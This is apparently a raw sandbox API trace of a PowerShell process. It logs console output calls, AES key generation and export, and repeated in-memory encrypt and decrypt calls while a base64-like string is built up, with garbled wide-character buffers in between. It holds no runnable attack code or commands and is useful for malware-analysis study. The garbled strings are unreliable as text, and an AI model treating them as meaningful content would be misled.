lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0235.487] GetConsoleOutputCP () returned 0x1b5 [0235.487] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0235.487] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0235.488] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0235.488] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24d8ad4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x24d8ad4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0235.488] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0235.489] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0235.490] GetConsoleOutputCP () returned 0x1b5 [0235.490] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.490] GetConsoleOutputCP () returned 0x1b5 [0235.490] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.490] GetConsoleOutputCP () returned 0x1b5 [0235.490] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.490] GetConsoleOutputCP () returned 0x1b5 [0235.490] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.491] GetConsoleOutputCP () returned 0x1b5 [0235.491] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.491] GetConsoleOutputCP () returned 0x1b5 [0235.491] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.491] GetConsoleOutputCP () returned 0x1b5 [0235.491] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.491] GetConsoleOutputCP () returned 0x1b5 [0235.491] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.491] GetConsoleOutputCP () returned 0x1b5 [0235.492] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.492] GetConsoleOutputCP () returned 0x1b5 [0235.492] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.492] GetConsoleOutputCP () returned 0x1b5 [0235.492] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.492] GetConsoleOutputCP () returned 0x1b5 [0235.492] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.492] GetConsoleOutputCP () returned 0x1b5 [0235.492] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.492] GetConsoleOutputCP () returned 0x1b5 [0235.492] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.493] GetConsoleOutputCP () returned 0x1b5 [0235.493] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.493] GetConsoleOutputCP () returned 0x1b5 [0235.493] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.493] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0235.493] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0235.493] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24d94a8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24d94a8*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0235.494] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0235.494] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0235.495] EtwEventActivityIdControl () returned 0x0 [0235.495] EtwEventActivityIdControl () returned 0x0 [0235.495] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.495] EtwEventActivityIdControl () returned 0x0 [0235.495] EtwEventActivityIdControl () returned 0x0 [0235.495] EtwEventActivityIdControl () returned 0x0 [0235.497] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.498] EtwEventActivityIdControl () returned 0x0 [0235.498] EtwEventActivityIdControl () returned 0x0 [0235.498] EtwEventActivityIdControl () returned 0x0 [0235.499] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d100) returned 1 [0235.500] CryptGenKey (in: hProv=0x5c4d100, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x3b5028) returned 1 [0235.501] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.501] CryptExportKey (in: hKey=0x3b5028, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0235.501] CryptExportKey (in: hKey=0x3b5028, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24e0e80, pdwDataLen=0x5a2e8c4 | out: pbData=0x24e0e80*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0235.501] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.501] EtwEventActivityIdControl () returned 0x0 [0235.501] EtwEventActivityIdControl () returned 0x0 [0235.501] EtwEventActivityIdControl () returned 0x0 [0235.502] SysStringLen (param_1="") returned 0x8 [0235.502] SysStringLen (param_1="l") returned 0x8 [0235.502] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.502] SysStringLen (param_1="粽\觛귲῍槛鯵ዾ⋻) returned 0x8 [0235.502] SysStringLen (param_1="粽\觛귲῍槛鯵ዾ⋻) returned 0x8 [0235.502] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.503] SysStringLen (param_1="lY") returned 0x8 [0235.503] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.503] SysStringLen (param_1="鐠擓ᡁ畯頍渚Ƥ") returned 0x8 [0235.503] SysStringLen (param_1="鐠擓ᡁ畯頍渚Ƥ") returned 0x8 [0235.503] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.503] SysStringLen (param_1="lYK") returned 0x8 [0235.503] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.503] SysStringLen (param_1="䭟琧ᵋ乢梚ꉥ芃㈸") returned 0x8 [0235.503] SysStringLen (param_1="䭟琧ᵋ乢梚ꉥ芃㈸") returned 0x8 [0235.503] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.503] SysStringLen (param_1="lYKB") returned 0x8 [0235.503] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.503] SysStringLen (param_1="趣⪥㩇ﵿ衪ू瞫\⋚) returned 0x8 [0235.503] SysStringLen (param_1="趣⪥㩇ﵿ衪ू瞫\⋚) returned 0x8 [0235.503] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.503] SysStringLen (param_1="lYKBL") returned 0x8 [0235.504] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.504] SysStringLen (param_1="엎棈䃽ᄐ쑰ꉀ䕄㬘") returned 0x8 [0235.504] SysStringLen (param_1="엎棈䃽ᄐ쑰ꉀ䕄㬘") returned 0x8 [0235.504] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.504] SysStringLen (param_1="lYKBLf") returned 0x8 [0235.504] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.504] SysStringLen (param_1="Ꜣ⻱쨍悭눕") returned 0x8 [0235.504] SysStringLen (param_1="Ꜣ⻱쨍悭눕") returned 0x8 [0235.504] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.504] SysStringLen (param_1="lYKBLfL") returned 0x8 [0235.504] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.504] SysStringLen (param_1="ᾤ㭧Ǹ\⏛뻰敍䩘≾) returned 0x8 [0235.504] SysStringLen (param_1="ᾤ㭧Ǹ\⏛뻰敍䩘≾) returned 0x8 [0235.504] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.504] SysStringLen (param_1="lYKBLfLz") returned 0x8 [0235.504] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.505] SysStringLen (param_1="휭䕫焹梙䴆꧌趷") returned 0x8 [0235.505] SysStringLen (param_1="휭䕫焹梙䴆꧌趷") returned 0x8 [0235.505] SysStringLen (param_1="휭䕫焹梙䴆꧌趷") returned 0x8 [0235.505] SysStringLen (param_1="휭䕫焹梙䴆꧌趷") returned 0x10 [0235.505] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.506] SysStringLen (param_1="lYKBLfLzU㈂쯷ﭹ\賚≀) returned 0x10 [0235.506] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.506] SysStringLen (param_1="휭䕫焹梙䴆꧌趷ճ䍋ޢ绿⽒") returned 0x10 [0235.506] SysStringLen (param_1="휭䕫焹梙䴆꧌趷ճ䍋ޢ绿⽒") returned 0x10 [0235.506] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.506] SysStringLen (param_1="lYKBLfLzUR㈂쯷ﭹ\賚≀) returned 0x10 [0235.506] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.506] SysStringLen (param_1="휭䕫焹梙䴆꧌趷⅑䲃ౠ킅쳕鑌\⋚) returned 0x10 [0235.506] SysStringLen (param_1="휭䕫焹梙䴆꧌趷⅑䲃ౠ킅쳕鑌\⋚) returned 0x10 [0235.506] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.506] SysStringLen (param_1="lYKBLfLzURY쯷ﭹ\賚≀) returned 0x10 [0235.506] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.506] SysStringLen (param_1="휭䕫焹梙䴆꧌趷︌톆ᓘ졩⦲筡퇿") returned 0x10 [0235.506] SysStringLen (param_1="휭䕫焹梙䴆꧌趷︌톆ᓘ졩⦲筡퇿") returned 0x10 [0235.506] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.506] SysStringLen (param_1="lYKBLfLzURY6ﭹ\賚≀) returned 0x10 [0235.507] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.507] SysStringLen (param_1="휭䕫焹梙䴆꧌趷䟤륳䰧ᗓ\磙헙≤) returned 0x10 [0235.507] SysStringLen (param_1="휭䕫焹梙䴆꧌趷䟤륳䰧ᗓ\磙헙≤) returned 0x10 [0235.507] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.507] SysStringLen (param_1="lYKBLfLzURY6Iﭹ\賚≀) returned 0x10 [0235.507] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.507] SysStringLen (param_1="휭䕫焹梙䴆꧌趷㌩㳦ᑗ⠺֢ꗤ") returned 0x10 [0235.507] SysStringLen (param_1="휭䕫焹梙䴆꧌趷㌩㳦ᑗ⠺֢ꗤ") returned 0x10 [0235.507] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.507] SysStringLen (param_1="lYKBLfLzURY6IO\賚≀) returned 0x10 [0235.507] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.507] SysStringLen (param_1="휭䕫焹梙䴆꧌趷꿐ꛅ皓㡡⎬╗咺") returned 0x10 [0235.507] SysStringLen (param_1="휭䕫焹梙䴆꧌趷꿐ꛅ皓㡡⎬╗咺") returned 0x10 [0235.507] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.507] SysStringLen (param_1="lYKBLfLzURY6IO1䂌") returned 0x10 [0235.507] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.508] SysStringLen (param_1="휭䕫焹梙䴆꧌趷윍曀沉䃍곮朗") returned 0x10 [0235.508] SysStringLen (param_1="휭䕫焹梙䴆꧌趷윍曀沉䃍곮朗") returned 0x10 [0235.508] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.508] SysStringLen (param_1="lYKBLfLzURY6IO1W") returned 0x10 [0235.508] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.508] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘") returned 0x10 [0235.508] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘") returned 0x10 [0235.508] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘") returned 0x10 [0235.508] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘") returned 0x18 [0235.509] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.509] SysStringLen (param_1="lYKBLfLzURY6IO1W+冿ޢ겉ꥮ") returned 0x18 [0235.509] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.509] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘孕曱僘ㄎ㦄쭠ᦻ쏋") returned 0x18 [0235.509] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘孕曱僘ㄎ㦄쭠ᦻ쏋") returned 0x18 [0235.509] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.509] SysStringLen (param_1="lYKBLfLzURY6IO1W+gޢ겉ꥮ") returned 0x18 [0235.509] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.509] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘챎擖搔ﺁ⟞粮뜾痝") returned 0x18 [0235.509] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘챎擖搔ﺁ⟞粮뜾痝") returned 0x18 [0235.509] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.509] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+ޢ겉ꥮ") returned 0x18 [0235.509] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.509] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘摹ꁽ쨛狏홴醡⵴⇕") returned 0x18 [0235.510] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘摹ꁽ쨛狏홴醡⵴⇕") returned 0x18 [0235.510] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.510] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+D겉ꥮ") returned 0x18 [0235.510] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.510] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘䩸ᵆ차剑뱘ፆ") returned 0x18 [0235.510] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘䩸ᵆ차剑뱘ፆ") returned 0x18 [0235.510] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.510] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxꥮ") returned 0x18 [0235.510] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.510] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘蟿旭䜉叛⍕綰樒᪀") returned 0x18 [0235.510] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘蟿旭䜉叛⍕綰樒᪀") returned 0x18 [0235.510] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.510] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj") returned 0x18 [0235.510] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.510] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘츍鞛爋ť៺퉮뫚") returned 0x18 [0235.511] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘츍鞛爋ť៺퉮뫚") returned 0x18 [0235.511] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.511] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/") returned 0x18 [0235.511] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.511] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ꓗ\퇜▹탄瘩㨓⋮) returned 0x18 [0235.511] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ꓗ\퇜▹탄瘩㨓⋮) returned 0x18 [0235.511] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.511] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/V") returned 0x18 [0235.511] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.511] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ") returned 0x18 [0235.511] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ") returned 0x18 [0235.511] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ") returned 0x18 [0235.512] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ") returned 0x20 [0235.512] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.512] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ䇏\탙铆濍ꢺ敡⋑) returned 0x20 [0235.512] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.512] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ숰ꈪ湫찆ꐇ썐፩") returned 0x20 [0235.512] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ숰ꈪ湫찆ꐇ썐፩") returned 0x20 [0235.512] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.512] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7\탙铆濍ꢺ敡⋑) returned 0x20 [0235.512] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.512] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ뎗誨鳰综⩄줙帻칧") returned 0x20 [0235.512] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ뎗誨鳰综⩄줙帻칧") returned 0x20 [0235.512] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.530] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7b원추멯憨텥") returned 0x20 [0235.530] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.530] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞꖲ蘇貆礣싀") returned 0x20 [0235.530] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞꖲ蘇貆礣싀") returned 0x20 [0235.530] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.530] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7bk추멯憨텥") returned 0x20 [0235.530] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.530] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞK욟奚ኻ༱镔ꀏ") returned 0x20 [0235.530] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞK욟奚ኻ༱镔ꀏ") returned 0x20 [0235.530] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.530] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7bkB멯憨텥") returned 0x20 [0235.530] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.531] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞᗗ㗼ᯰ麗魬芺읓") returned 0x20 [0235.531] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞᗗ㗼ᯰ麗魬芺읓") returned 0x20 [0235.531] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.531] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7bkBn憨텥") returned 0x20 [0235.531] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.531] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ㏐竾ꖑ䷙嘞䖜") returned 0x20 [0235.531] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ㏐竾ꖑ䷙嘞䖜") returned 0x20 [0235.531] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.531] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7bkBnc텥") returned 0x20 [0235.531] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.531] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ⠘暴ᘄ땜饁手") returned 0x20 [0235.531] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ⠘暴ᘄ땜饁手") returned 0x20 [0235.531] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.531] 